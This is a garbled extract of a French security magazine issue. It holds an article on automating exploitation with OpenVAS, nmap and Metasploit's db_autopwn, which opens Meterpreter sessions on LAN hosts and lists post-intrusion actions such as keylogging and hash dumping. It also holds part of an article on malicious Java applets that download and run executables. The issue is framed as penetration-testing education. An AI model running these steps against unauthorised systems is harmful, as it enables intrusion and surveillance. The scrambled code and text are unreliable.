TippingPoint est un leader mondial dans la prvention des intrusions rseaux (Network IPS) de 50Mbps 10Gigabits ainsi que la vrification dintgrit de poste et le contrle daccs du rseau (NAC). Tl : 01 69 07 34 49, E-mail : francesales@tippingpoint.com http://www.tippingpoint.com

Sysdream

Cabinet de conseil et centre de formation spcialis en scurit informatique. Lexprience c'est avant tout les recherches publiques, visant amliorer la scurit des applications et des systmes dinformations. Les rsultats disponibles sur des portails de recherche, dans la presse spcialiss. http://www.sysdream.com

MICROCOMS

Microcoms est une socit spcialise dans les produits Microsoft qui a pour vocation d'aider les particuliers, les TPE-PME et les professions librales sur 6 axes principaux de l'informatique : Assister, Dpanner, Conseiller, Scuriser, Former, Maintenir. Tl. : 01.45.36.05.81 e-mail : contact@microcoms.net http://www.microcoms.net

Club .PRO

ALTOSPAM

Ne perdez plus de temps avec les spams et les virus. Scurisez simplement vos emails professionnels. ALTOSPAM est un logiciel externalis de protection de la messagerie lectronique : anti-spam, anti-virus, anti-phishing, anti-scam... Testez gratuitement notre service, mis en place en quelques minutes. http://www.altospam.com OKTEY 5, rue du Pic du Midi 31150 GRATENTOUR

1/2010 HAKIN9

29

FOCUS
Listing 4a. hara.c
#define _GNU_SOURCE #include <stdio.h> #include <link.h> #include <string.h> #include <sys/stat.h> #include "pattern.h" #define PATTERN_BUF_SIZ 1024 #define NM_PATH "/usr/bin/nm" #define ADDRESS_BASE 0x8048000 int checkPattern(char *buf1, char *buf2, size_t n); int main(int argc, char **argv){ int i,j,k; int nFunc=0; int nTotal=0; int pos; //position fichier

char buf[128];

char buf2[128]; char patternbuf[PATTERN_BUF_SIZ]; char filebuf[PATTERN_BUF_SIZ]; char *funcAddr; char ch; int funcSize; int readSize; int funcOffset; FILE *fp; FILE *sp; struct stat statbuf;

struct passwd *pwd;

/* Affichage des en-ttes */ printf("======================== HARA v1.0 ==========================\n"); printf("[=] emplacement fonction libc pour binaires compils statiquement\n");

printf("[=] z0nKT1g3r @ WiseguyS\n");

//vrifier l'argument if(argc<2){

printf("[=] http://0xbeefc0de.org\n");

} //vrifier l'existence du fichier

printf("[-] Argument Manquant.\n"); printf("[-] [USAGE] %s FILE\n", argv[0]); exit(-1);

else if(stat(argv[1], &statbuf)<0){ printf("[-] Fichier inexistant.\n"); }


exit(-1);

//vrifier fichier elf else{

fp=fopen(argv[1], "r+"); if(fp<=0){ exit(-1); } fread(buf, 4, 1, fp);

printf("[-] Impossible d'ouvrir le fichier\n");

//si \x7f est en criture, alors supprimer [delete] buf2[0]='\x7f';

strcpy(buf2, "aELF");

if(checkPattern(buf, buf2 ,4)!=0){


printf("[-] Le fichier n'est pas un binaire ELF.\n");

30 HAKIN9 1/2010

DBOGAGE

Listing 4b. hara.c


exit(-1); } } fclose(fp);

fclose(fp);

printf("[=] ------------------------------------------------------\n"); nFunc=sizeof(pattern)/12;

printf("[+] Nombre de fonctions vrifier: %d\n", nFunc);

printf("[+] Recherche dans le fichier binaire..\n"); printf("[=] ------------------------------------------------------\n"); //ouvrir fichier binaire fp=fopen(argv[1], "r"); fflush(fp); //boucler sur la liste des fonctions

for(i=0;i<nFunc;i++){ rewind(fp);
//obtenir taille du pattern /* obtenir pattern de db */

readSize=atoi(pattern[i*3+2]);

memcpy(&patternbuf, pattern[i*3+1], readSize); pos=0; //boucler sur le fichier while(fread(&fi lebuf, 1, readSize, fp)==readSize && !feof(fp)){ //comparer au fichier binaire if(checkPattern(&patternbuf, &filebuf, readSize)==0){ nTotal++; //possible conversion d'adresse pos+=ADDRESS _ BASE; printf("[+] Trouv %s() dans %p.\n", pattern[i*3], pos); break;

/* comparer au fichier */

pos++; fseek(fp, pos, SEEK_SET); }//fi n de la boucle while: fread }//fin de la boucle for: pattern fclose(fp); printf("[=] ------------------------------------------------------\n"); printf("[=] Nombre total de fonctions trouves %d.\n", nTotal); return 0; } //compare deux octets et renvoie 0=true, -1=false int checkPattern(char *buf1, char *buf2, size_t n){ int i; for(i=0;i<n;i++){ if(buf1[i]!=buf2[i]){ } } } return 0;

return -1;

1/2010 HAKIN9

31

FOCUS
Sur Internet
http://en.wikipedia.org/wiki/Debug_ symbol http://en.wikipedia.org/wiki/Executable_ and_Linkable_Format

La longueur de la signature peut tre modifie pour mieux dtecter la fonction dans la librairie. L'ide de base est de comparer cette signature au fichier binaire courant afin de dterminer l'emplacement de la fonction dans le fichier binaire.

Dans le cadre de cet article, je vous expose mon code source Hara v0.1. Vous pouvez retrouver mon programme sur http://code.google.com/p/haraz/ si vous souhaitez l'amliorer (dveloppement open source). Toute contribution est la bienvenue ! pgfh.c (Voir Listing 2) est un Gnrateur de Pattern Pour Hara qui cr des patterns pour les fonctions listes dans func.h (Voir Listing 3). hara.c (Voir Listing 4) est le code courant qui va comparer les patterns un fichier binaire cible. Figure 8 & Figure 9 : crans d'excution du gnrateur de pattern et hara.

Hara v0.1

Figure 7.

Aller plus loin

L'implmentation serait meilleure si nous pouvions viter d'analyser quelques octets aprs chaque saut d'instruction, comme indiqu prcdemment les codes compils statiquement contiennent diverses fonctions qui ont une influence sur les offsets.

Figure 8.

Conclusion & Remerciements

Vous pouvez me faire part de vos remarques sur wantstar@0xbeefc0de.org. Julie, Sapheads, Godot

Diplm de l'Universit de Californie (UCLA) en sciences informatiques http://0xbeefc0de.org 2009. 4. 16. 32 HAKIN9 1/2010

Justin Sunwoo Kim

Figure 9.

DBOGAGE

1/2010 HAKIN9

33

ERIC BEAULIEU

ATTAQUE Automatiser

l'exploitation de vulnrabilit lors d'un test d'intrusion


L'une des tapes la plus longue, mais peut tre la plus intressante, durant un test d'intrusion, est l'exploitation des vulnrabilits dcouvertes. Celle-ci, ralise traditionnellement aprs la dcouverte du primtre et des htes qui le composent et le plus souvent soumise accord du client. Dans cet article, nous allons donc voir comment gagner du temps en automatisant l'exploitation de vulnrabilits dcouvertes lors de l'analyse du rseau. Certains lecteurs n'apprendront rien dans cet article, mais d'autre y dcouvriront peut-tre comment installer et faire interagir ces outils.
Installation du Scanner de vulnrabilit OpenVAS Tlchargement des sources dinstallation

Degr de difficult

CET ARTICLE EXPLIQUE...


Comment installer le scanner de vulnrabilit OpenVAS et le framework de pntration Metasploit partir des sources. Comment installer le scanner rseau nmap partir du serveur subversion du projet. Comment lancer un scan de vulnrabilit et l'exploitater avec Metasploit.

CE QU'IL FAUT SAVOIR...


Savoir utiliser et compiler un programme sous Linux / Ubuntu. Connatre les bases dutilisation de Nessus/OpenVAS, Metasploit et nmap. 34 HAKIN9 1/2010

OpenVAS est lacronyme de Open Vulnerability Assessment System : il sagit dun fork du trs renomm et incontournable scanner de vulnrabilit Nessus. Contrairement sont grand frre, OpenVAS est sous licence GNU GPL. En effet, en 2005 le crateur de Nessus, Renaud Deraison, a annonc qu partir de la version 3, son scanner de vulnrabilit ne serait plus distribu sous licence GPL mais uniquement sous la forme de binaire. De plus, Nessus est maintenant gratuit uniquement pour un usage non professionnel. Cest pourquoi de plus en plus de personnes se tournent prsent vers OpenVAS (anciennement GNessUs). Nous allons donc expliquer dans les lignes suivantes comment installer le scanner de vulnrabilit OpenVAS. Nous n'installerons pas la version prsente dans les dpts d'Ubuntu, car lors de la ralisation de l'article il y avait des problmes de compatibilit entre les composants. Avant toute chose, il est ncessaire de sassurer de disposer dune version de Linux jour. Dans notre cas, nous utiliserons une distribution Linux Ubuntu 9.04 (Jaunty). Dans la suite de larticle, nous appellerons cette plateforme de test le serveur d'intrusion ou le serveur .

Pour commencer, nous allons devoir tlcharger les dernires sources dinstallation partir du site Internet du projet : http://www.openvas.org
$ wget http://wald.intevation.org/frs/ download.php/617/openvas -client-2.0.5.tar.gz

$ wget http://wald.intevation.org/frs/ download.php/619/openvas -libnasl-2.0.2.tar.gz

$ wget http://wald.intevation.org/frs/ download.php/618/openvas-libraries -2.0.4.tar.gz

$ wget http://wald.intevation.org/frs/ download.php/588/openvas-plugins -1.0.7.tar.gz

$ wget http://wald.intevation.org/frs/ download.php/624/openvas-server -2.0.3.tar.gz

Compilation et installation des sources

Aprs avoir tlcharg les diffrentes sources, il faut les dcompresser avec les commandes suivantes :
$ tar xvzf openvas-libnasl-

AUTOMATISER
2.0.2.tar.gz 2.0.4.tar.gz 2.0.3.tar.gz 1.0.7.tar.gz 2.0.5.tar.gz $ sudo openvasd -D

$ tar xvzf openvas-libraries$ tar xvzf openvas-server$ tar xvzf openvas-plugins$ tar xvzf openvas-client-

Loading the plugins... All plugins loaded

Tableau 1. Les versions des diffrents composants d'OpenVAS Package d'OpenVAS openvas-libraries openvas-libnasl openvas-server openvas-plugins openvas-client Version 2.0.4 2.0.2 2.0.3 1.0.7 2.0.5

14404 (out of 14404)

Enfin, la compilation et linstallation se font pour chacun des composants ci-dessous avec les commandes suivantes :
$ ./configure $ make $ sudo make

$ sudo ldconfig

N.B : OpenVAS, tout comme Nessus, est bas sur un fonctionnement client/serveur. Ainsi, le client va envoyer au serveur ses ordres de scan contenant la liste des plugins utiliser, les cibles et les ventuelles informations de connexion. Cest donc ladresse IP du serveur qui sera la source de toutes les attaques et non celle du client. Pour vrifier le bon fonctionnement du serveur OpenVAS, il suffit de s'assurer que le port TCP 9390 du serveur dmon openvasd est en attente de connexion :
$ sudo netstat -alntp | grep tcp 0 0 0.0.0.0:9390 0.0.0.0:* LISTEN 8734/ openvasd

Attention : il a t ncessaire de rgler les problmes des dpendances lors de linstallation des diffrents composants. Voici un extrait des paquets quil a fallu installer sur notre serveur d'intrusion :
$ sudo apt-get install libglib2.0 -dev libgnutls-dev libgpgme11 -dev libgtk2.0-dev libpcap -dev bison

openvasd: wait

Mise jour des plugins du scanner de vulnrabilit

Pour voir si tout fonctionne correctement, nous allons lancer le client OpenVAS. Attention la casse de la commande, par dfaut il faut taper : OpenVAS-Client

Premire connexion au serveur OpenVAS

Cr en 2003, le projet Metasploit est un framework de pntration c'est dire une bote outils permettant de lancer des attaques rseau, il est multiplateforme et a totalement tait rcrit en langages Ruby. Son auteur principal, HD Moore, a chang rcemment le mode de licence de son outil : il est pass de la licence GPL (pour les versions 1.0 et 2.x) la licence BSD 3 clauses. Metasploit a rcemment t acquis par la socit Rapid7, cette dernire s'est engage conserver sa licence actuelle.

Installation du framework de pntration Metasploit

De la mme manire que pour OpenVAS, nous allons installer Metasploit partir des sources disponibles sur le site Internet du projet.

Tlchargement des sources dinstallation

Aprs avoir ralis linstallation du scanner de vulnrabilit, il est ncessaire de faire la mise jour des diffrents plugins (Listing 1).

Listing 1. Mise jour des plugins du scanner de vulnrabilit OpenVAS.


$ sudo openvas-nvt-sync OpenVAS NVT Sync $ Configured NVT Feed: rsync://rsync.openvas.org:/nvt-feed Synchronized into: /usr/local/lib/openvas/plugins Searching for required system tools ... Synchonizing NVTs via RSYNC ... rsync server - Intevation GmbH, Germany All transactions are logged. Mail problems to admin@intevation.de. Please look at /ftp/mirrors.txt for a list of download mirrors. receiving file list ... 28908 files to consider [...] zyxel_pwd.nasl 1469 100% 159.40kB/s 0:00:00 (xfer#1936, to-check=1/28908) zyxel_pwd.nasl.asc 197 100% 21.38kB/s 0:00:00 (xfer#1937, to-check=0/28908) sent 43172 bytes received 3234660 bytes 285028.87 bytes/sec total size is 58182302 speedup is 17.75

Nous disposons prsent sur notre serveur Ubuntu du client de connexion (OpenVAS-Client) et du serveur OpenVAS (openvasd), il faut crer maintenant le certificat x509 du serveur (Listing 2) ainsi que lutilisateur autoris se connecter (Listing 3).

Cration de lutilisateur et du certificat x509

Pour excuter le serveur OpenVAS, il convient prsent de lancer le dmon openvasd :

Lancement du dmon OpenVAS

1/2010 HAKIN9

35

ATTAQUE
Au moment de la rdaction de cet article, la dernire version du framework Metasploit est la 3.3-dev :
$ wget http://metasploit.com/ releases/framework-3.3-dev.tar.bz2

Il nous a t ncessaire dinstaller le client subversion, la base de donnes sqlite et le language ruby partir des dpts dUbuntu :
$ sudo apt-get install subversion ruby libopenssl-ruby rubygems sqlite libsqlite3-ruby

Compilation et installation des sources


$ bunzip2 -d framework-3.3$ tar vxf framework-3.3-dev.tar $ cd msf3/ dev.tar.bz2

Pour compiler est install le programme :

Figure 1. Interface graphique du client OpenVAS

Mise jour de Metasploit

La premire action raliser aprs linstallation du framework est sa mise jour. Pour cela, lancer la commande svn update comme indiquer dans le Listing 4.

Lancement de lattaque couple OpenVAS + Metasploit


Lancement du scan de vulnrabilit
Aprs avoir lanc le client OpenVAS, il faut crer une nouvelle tche puis un nouveau scope. Pour cela, cliquer sur Task puis New et renommer la tche comme vous le souhaitez (pour nous ici : my_task). Ensuite, slectionner-la et cliquer sur Scope puis New et renommer ce nouveau scope (pour nous ici : my_scope). Le client peut maintenant tre connect au serveur l'aide du compte que nous avons cr prcdemment. On remarquera que l'icne situe cot de notre scope passera d'une prise lectrique dconnecte une prise connecte. Nous allons maintenant modifier les proprits de notre scope : dans General dcocher la case Safe checks cela va avoir pour effet de rendre plus agressif notre scan de vulnrabilit, dans Plugins cliquer sur le bouton Enable all tous les plugins d'OpenVAS seront ainsi activs, dans Credentials remplir les champs adquats si vous disposez d'un couple login / mot de passe valide, dans Target selection indiquer la plage ou la cible de notre scan de vulnrabilit,

Listing 2. Cration du certificat x509 permettant de chiffrer les communications entre le serveur et le client OpenVAS,
$ sudo openvas-mkcert ------------------------------------------------------------------------------Creation of the OpenVAS SSL Certificate This script will now ask you the relevant information to create the SSL certificate

of OpenVAS. Note that this information will *NOT* be sent to anybody (everything stays local), but anyone with the ability to connect to your OpenVAS daemon will be able to retrieve this information.

CA certificate life time in days [1460]: Server certificate life time in days [365]: Your country (two letter code) [FR]: Your state or province name [none]: Your location (e.g. town) [Paris]: Your organization [OpenVAS Users United]: Creation of the OpenVAS SSL Certificate Congratulations. Your server certificate was properly created. /usr/local/etc/openvas/openvasd.conf updated The following files were created: . Certification authority: Certificate = /usr/local/var/lib/openvas/CA/cacert.pem Private key = /usr/local/var/lib/openvas/private/CA/cakey.pem

OpenVAS Server : Certificate = /usr/local/var/lib/openvas/CA/servercert.pem Private key = /usr/local/var/lib/openvas/private/CA/serverkey.pem Press [ENTER] to exit

36 HAKIN9 1/2010

AUTOMATISER
Aprs avoir configur correctement le scope, il faut maintenant lancer son excution. Pour cela cliquer sur le menu Scope puis execute. Le rsultat de l'analyse se prsente sous la forme d'un rapport indiquant par hte distant (ou victime) les diffrents services vulnrables avec un indice de criticit voir Figure 3. Afin de rendre exploitable ce rapport par le framework de pntration, il faut le sauvegarder au format Nessus (extension nbe). Pour cela, slectionner le rsultat de l'analyse, cliquer sur Report puis Export et exporter au format NBE.
\ (oo)____ (__)

=[ msf v3.3-dev

||--|| *

)\

+ -- --=[ 297 exploits - 124 payloads + -- --=[ 18 encoders - 6 nops msf > =[ 59 aux

[core:3.3 api:1.0]

Figure 2. Configuration de la tche et du scope sur le client OpenVAS vulnrabilits avec respectivement les commandes db_hosts, db_services et db_vulns voir Listing 5. L'exploitation automatique des vulnrabilits prcdemment importes peut maintenant tre lance. Pour cela, nous allons utiliser la commande db_autopwn (voir Listing 6) :
msf > db_autopwn -t -x -b -e [*] Analysis completed in 5.88317084312439 seconds (76 vulns / 1676 refs)

Commenons par crer une nouvelle base de donnes pour Metasploit ; nous l'appellerons my_scan:
msf > db_create my_scan instance...

Maintenant que l'analyse de vulnrabilit a t ralise avec OpenVAS, nous allons charger le rsultat dans Metasploit . Lancer Metasploit en ligne de commande :
$ sudo ./msfconsole < metasploit > -----------\ ,__, ____________

Chargement et exploitation du rapport de vulnrabilit dans Metasploit

[*] Creating a new database [*] Successfully connected [*] File: my_scan to the database

[...]

Importons maintenant le rapport d'OpenVAS au format NBE :


msf > db_import_nessus_nbe my_scan_result.nbe

[*] Matched auxiliary/dos/windows/ smb/smb2_negotiate_pidhigh against 192.168.0.26:445... smb/smb2_negotiate_pidhigh

[*] Matched auxiliary/dos/windows/ against 192.168.0.26:445...

Pour vrifier que l'importation s'est effectue correctement, il est possible de lister les htes, les services et les

[...]

[-] Exploit failed: The connection was refused by the remote host (192.168.0.74:445).

[*] Matched exploit/solaris/samba/ lsa_transnames_heap against

Listing 3. Cration du compte utilisateur autoris se connecter au serveur OpenVAS.


$ sudo openvas-adduser Add a new openvasd user Login : user_pentest Authentication (pass/cert) [pass] : Login password : Login password (again) : User rules openvasd has a rules system which allows you to restrict the hosts that user_pentest has the right to test. For instance, you may want him to be able to scan his own host only. Please see the openvas-adduser(8) man page for the rules syntax. Enter the rules for this user, and hit ctrl-D once you are done: (the user can have an empty rules set)

La mthode d'installation de nmap dtaille ici a pour principal avantage de toujours mettre disposition les dernires versions (ici la version nmap v5.05 BETA1), en revanche celles-ci peuvent prsenter des bugs :
~$ nmap -V

Avantage de l'installation de Nmap avec subversion

Nmap version 5.05BETA1 ( http: //nmap.org )

Login Password Rules

: user_pentest : *********** :

Is that ok? (y/n) [y] y user added.

Cette mthode d'installation va galement permettre d'installer les scripts complmentaires de nmap, option script. Exemple de script : smb-checkvulns.nse, ce script permet de vrifier si le patch MS08-067 est install, si smbv2 est prsent et vulnrable la dernire faille de scurit et si le PC est infect par le virus confliker.

1/2010 HAKIN9

37

ATTAQUE
[*] Started bind handler 192.168.0.74:445...

Vrifions maintenant que les vulnrabilits ont t exploite avec succs avec la commande suivante :
msf > sessions -l Active sessions =============== Id -1 2

Description ----------Meterpreter Meterpreter

Tunnel -----192.168.0.15:36353 192.168.0.15:39887

-> 192.168.0.26:29721

-> 192.168.0.122:35207

Nous constatons ici qu'un shell a t ouvert entre notre serveur (192.168.0.15) et deux htes distants (192.168.0.26 et 192,168,0,122) sur le port TCP 29721 et 35207. Pour nous connecter ces sessions, nous utilisons la commande session -i x - o x reprsente numro de la session laquelle nous souhaitons nous connecter :
msf > sessions -i 1 meterpreter >

Figure 3. Rapport d'analyse de vulnrabilit OpenVAS et exportation au format nbe passe (LMHash et NThash) prsents sur l'ordinateur, Notre attaquant n'a donc que l'embarras du choix, il n'est maintenant limit que par son imagination pour continuer son intrusion. Crons dans Metasploit la base de donnes dans laquelle sera automatiquement import le rsultat du scan nmap :
msf > db_create my_nmap_scan [*] Creating a new database [*] Successfully connected [*] File: my_nmap_scan to the database instance...

Une alternative OpenVAS : utiliser nmap

[*] Starting interaction with 1...

Nous disposons donc maintenant d'un accs total nos htes distants. Un grand nombre d'actions peut tre menes : visualiser et arrter des processus (tel que l'antivirus), modifier des fichiers et la base de registre, crer un compte utilisateur local administrateur de l'ordinateur, lancer un keylogger pour espionner les frappes au clavier ou voler les mots de passe de connexion, prendre des captures de l'cran de notre victime, allumer le microphone pour enregistrer les bruits et conversations aux alentours de l'ordinateur, lancer un sniffer rseau partir de notre victime, faire un dump de la RAM la recherche d'informations intressantes, dcouvrir les hashs des mots de
38 HAKIN9 1/2010

Une alternative l'utilisation de Nessus ou OpenVAS est d'utiliser l'outil nmap. Ce dernier ne permettra pas de dcouvrir les vulnrabilits mais donnera, rapidement, une liste d'htes et de services qui pourront tre exploits par Metasploit. Comme pour OpenVAS et Metasploit, nous proposons, une autre manire d'obtenir le plus clbre scanner rseau (plutt que de l'installer par les traditionnels paquets .deb ou rpm). Nous prsentons ici l'installation de nmap avec le logiciel de gestion de version : subversion (ou svn) :
$ svn co --username guest --password '' svn:// svn.insecure.org/ $ cd nmap nmap

Lanons prsent la commande db_nmap qui appellera le binaire nmap local :


msf > db_nmap -T4 -F 192.168.0.1-254 [*] exec: "/usr/local/bin/nmap" "-T4" "-F" "192.168.0.1-254" -1dzzbgj-0"

"-oX" "/tmp/dbnmap20091027-12252 NMAP:

NMAP: Starting Nmap 5.05BETA1 ( http://nmap.org ) at 2009-10-27 12:33 CET

NMAP: Nmap scan report for (192.168.0.20) ma_victime01.domain.com

NMAP: Not shown: 96 closed ports NMAP: PORT NMAP: 22/tcp STATE SERVICE open open open open ssh ipp rpcbind squid-http

$ sudo make install

$ ./configure && make

NMAP: 111/tcp NMAP: 631/tcp NMAP: 3128/tcp (VMware)

A noter : Si les outils de compilation ne sont pas prsents sur le serveur, il sera ncessaire de les installer pralablement :
sudo apt-get install gcc g++

NMAP: MAC Address: 00:50:56:99:6E:F7 NMAP: [...]

AUTOMATISER
Comme prcdemment, il est possible de visualiser les htes ainsi dcouverts, et les services associs :
msf > db_hosts host=192.168.0.20 port=80 proto=tcp state=up name=http [*] Matched auxiliary/scanner/http/ wmap_webdav_internal_ip against 192.168.0.9:80...

[*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: host=192.168.0.21 port=22

[*] Matched auxiliary/scanner/ 192.168.0.20:80...

[*] Time: Tue Oct 27 08:47:03 alive OS:

http/wmap_svn_scanner against

+0100 2009 Host: 192.168.0.9Status:

[*] Time: Tue Oct 27 08:47:03 Status: alive OS:

[*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: host=192.168.0.21 port=80 proto=tcp

proto=tcp state=up name=ssh

[*] Matched auxiliary/scanner/http/ wmap_replace_ext against 192.168.0.55:80...

+0100 2009 Host: 192.168.0.18

[]

[*] Time: Tue Oct 27 08:47:03 Status: alive OS:

+0100 2009 Host: 192.168.0.20

[*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: host=192.168.0.21 port=427 proto=tcp []

state=up name=http

[*] Time: Tue Oct 27 08:47:03 Status: alive OS:

+0100 2009 Host: 192.168.0.26

[]

state=up name=svrloc

A noter : l'option -x (exploitation suivant les vulnrabilits prsentes dans la base Metasploit) a t remplace par l'option -p qui se base sur les ports de l'htes distant. Nous avons en retour, comme prcdemment deux sessions tablies entre notre serveur et nos htes distants :
msf > sessions -l Active sessions =============== Id -1

msf > db_services

[*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: host=192.168.0.20 port=22 proto=tcp [*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: state=up name=ssh

Automatisons, pour finir, l'exploitation des vulnrabilits avec la commande suivante :


msf > db_autopwn -t -p -b -e [*] Analysis completed in (0 vulns / 0 refs) 144.343488931656 seconds

Description ----------Meterpreter

Tunnel -----192.168.0.15:50649

-> 192.168.0.26:28985

PUBLICIT

1/2010 HAKIN9

39

ATTAQUE
Listing 4. Mise jour du framework Metasploit,
$ sudo svn update U U U U U [...] scripts/meterpreter/multiscript.rb scripts/meterpreter/getgui.rb scripts/meterpreter/uploadexec.rb modules/exploits/windows/misc/windows_rsh.rb data/wmap/wmap_dirs.txt

Sur Internet
http://www.openvas.org Site Internet du projet OpenVAS, http://www.metasploit.com/ Site Internet du projet Metasploit, http://nmap.org/ - Site du projet nmap http://blog.metasploit.com/2006/ 09/metasploit-30-automatedexploitation.html la page du projet Metasploit annonant la fonction db_autopwn 2 Meterpreter 192.168.0.15:25632

Updated to revision 7152.

Listing 5. Inventaire des htes, services et vulnrabilits imports dans Metasploit


msf > db_hosts [*] Time: Fri Oct 23 09:29:24 +0200 2009 Host: 192.168.0.20 Status: alive OS: [*] Time: Fri Oct 23 09:29:24 +0200 2009 Host: 192.168.0.18 Status: alive OS: [*] Time: Fri Oct 23 09:29:24 +0200 2009 Host: 192.168.0.9 Status: alive OS: [...] [*] Time: Fri Oct 23 09:29:24 +0200 2009 Host: 192.168.0.26 Status: alive OS: msf > db_services

-> 192.168.0.122:25487

[*] Time: Fri Oct 23 09:29:24 +0200 2009 Service: host=192.168.0.20 port=22 [*] Time: Fri Oct 23 09:29:24 +0200 2009 Service: host=192.168.0.9 port=80 [*] Time: Fri Oct 23 09:29:25 +0200 2009 Service: host=192.168.0.18 port=445 [*] Time: Fri Oct 23 09:29:25 +0200 2009 Service: host=192.168.0.26 port=445 [...] proto=tcp state=up name=microsoft-ds proto=tcp state=up name=microsoft-ds proto=tcp state=up name=http proto=tcp state=up name=ssh

Nous avons vu qu'il tait possible d'importer les htes dans la base de donnes soit partir du rsultat d'un scan de vulnrabilit avec la commande db_import_nessus_nbe, soit au moyen de la commande db_nmap. Comment peupler alors le plus efficacement la base de donnes de Metasploit ? L'importation via le rsultat du scan Nessus ou d'OpenVAS permet d'utiliser l'argument -x de db_autopwn qui va permettre de se baser sur la vulnrabilit et non sur le port (option -p). L'inconvnient majeur est qu'un scan de vulnrabilit est extrmement lent et trs bavard sur le rseau. L'utilisation de db_nmap permet de scanner plus rapidement un grand nombre de cibles et sera via les options de nmap plus discret qu'un scan de vulnrabilit. En revanche, sans ce dernier, on pourrait ne pas dtecter des services vulnrables qui n'utiliseraient pas les ports par dfaut.

msf > db_vulns

[*] Time: Fri Oct 23 09:29:24 +0200 2009 Vuln: host=192.168.0.20 port=22 [*] Time: Fri Oct 23 09:29:24 +0200 2009 Vuln: host=192.168.0.13 port=22 [*] Time: Fri Oct 23 09:29:24 +0200 2009 Vuln: host=192.168.0.12 port=22 [...] proto=tcp name=NSS-

proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.50282 refs= proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.50282 refs=

Listing 6. Options de la commande db_autopwn.


msf > db_autopwn -h -t -x -p -e -r -b -q -I -X [*] Usage: db_autopwn [options]

Display this help text

Show all matching exploit modules

Conclusion

Select modules based on vulnerability references Select modules based on open ports Use a reverse connect shell Launch exploits against all matched targets Use a bind shell on a random port (default) [range] Only exploit hosts inside this range Disable exploit module output

-PI [range] Only exploit hosts with these ports open -m

[range] Always exclude hosts inside this range

-PX [range] Always exclude hosts with these ports open

Les mthodes prcdemment dtailles vont permettre aux administrateurs (de petits ou grands rseaux) de raliser, moindre frais un tat des lieux de leur scurit face aux attaques dites classiques des script kiddies et de virus/vers. Toutefois cela ne remplace pas l'audit ou le test d'intrusion ralis par des professionnels de la scurit IT.
Lauteur a travaill pendant cinq ans en tant que Consultant en Scurit des Systmes dInformation dans une SSII parisienne. Il est maintenant Ingnieur rseau et scurit pour une socit dveloppant des solutions technologiques intgres dans la rgion de Bordeaux.

[regex] Only run modules whose name matches the regex

propos de l'auteur

40 HAKIN9 1/2010

ATTAQUE
(EUROPASECURITY.ORG/ZATAZ.COM)

CHRISTOPHE B. AKA T0FX

Remote download excution avec java :


utilisation et protection
Cet article va traiter d'une attaque devenue trs populaire, l'excution d'un fichier malicieux par le biais d'une applet java.

Degr de difficult

a signature de l'application n'est pas vrifie, cependant si l'applet se trouve sur un site trs visit ou un site de confiance, la plupart des visiteurs vont srement cliquer sur Excuter . Dans une premire partie vous allez dcouvrir comment crer un de ses applets, comment le signer et comment l'insrer dans une page web. Par la suite vous connaitrez les diffrentes mthodes de protection contre ce type d'attaque.

Une autorisation dfinit : un code accesseur (typiquement, une applet - ventuellement signe - envoye depuis un serveur web); une ressource locale concerne (par exemple un rpertoire); un ensemble de droits (par exemple lire/crire).

Introduction

CET ARTICLE EXPLIQUE...


Comment fonctionne les applets Java de type Remote donwload / execution. Comment s'en protger. Comment crer un applet.

CE QU'IL FAUT SAVOIR...


Connaissances en Java pour comprendre l'applet. 42 HAKIN9 1/2010

Comment ce genre d'attaque est-il possible ? La plate-forme Java fut lun des premiers systmes offrir le support de lexcution du code partir de sources distantes. Un applet peut fonctionner dans le navigateur web dun utilisateur, excutant du code tlcharg depuis un serveur HTTP. Le code dune applet fonctionne dans un espace trs restrictif, ce qui protge lutilisateur des codes errons ou mal intentionns. Cet espace est dlimit par un objet appel gestionnaire de scurit. Un tel objet existe aussi pour du code local, mais il est alors par dfaut inactif. Le gestionnaire de scurit (la classe SecurityManager) permet de dfinir un certain nombre dautorisations dutilisation des ressources du systme local (systme de fichiers, rseau, proprits systme, ).

Les diteurs dapplet peuvent demander un certificat pour leur permettre de signer numriquement un applet comme sre, leur donnant ainsi potentiellement (moyennant lautorisation adquate) la permission de sortir de lespace restrictif et daccder aux ressources du systme local. C'est en utilisant ce certificat qu'une personne mal intentionne va pouvoir crer un applet malveillant et le diffuser.

Analyse de l'attaque

tant donn que le Java est multi-plateforme, les applets Java peuvent tre excutes sur diffrents OS, dont Windows (Windows mobile inclus), UNIX, Mac OS, Linux et encore Symbian ce qui permet aux hackers de pouvoir toucher un maximum de public. Le deuxime avantage de cette attaque est de pouvoir changer le fichier qui sera excut via l'applet sans avoir modifier l'applet lui mme.

JAVA

Figure 1. Vous avez surement dj vu ce genre de pop-up en naviguant sur le web. Donc si l'applet est install sur une centaine de sites et que l'excutable devient dtect par beaucoup d'antivirus, le hacker n'a simplement qu' remplacer le fichier depuis le serveur sur lequel il est hberg. Le point faible de ce type d'attaque : le navigateur a besoin du plugin Java pour pouvoir excuter une applet. Ce type d'attaque n'est pas nouveau, les premires utilisations datent de 2005, Christopher Boyd, de chez Vital security recherchait des paroles de chansons quand sur certains sites il lui t propos d'installer une applet Java. Cet applet tlchargeait un virus et l'excutait. L'applet a t baptis l'poque Java.OpenStream.t Depuis, de nombreuses variantes ont fait leur apparition...
Trojan.Java.ClassLoader.a Trojan.Java.ClassLoader.b Trojan.Java.ClassLoader.c Trojan.Java.ClassLoader.d BlackBox.class BlackBox.class ... BlackBoxJJ.class RunString.class

Figure 2. Les utilisateurs surfent sur un site internet, l'applet s'ouvre et demande d'installer un plugin. Si l'utilisateur accepte, l'applet fait tlcharger un excutable depuis un serveur distant et l'excute en local.

Figure 3.

Dans la suite de cet article vous sera prsent un exemple d'applet fonctionnant avec un excutable pour toutes versions de Windows.

Figure 4.

Cration d'un excutable de test

Pour tester le fonctionnement d'une applet Java de type Download / execute nous allons d'abord crer un excutable qui nous servira de test. Nous allons utiliser un simple Hello World en C# :

Figure 4.
1/2010 HAKIN9 43

ATTAQUE
Listing 1.
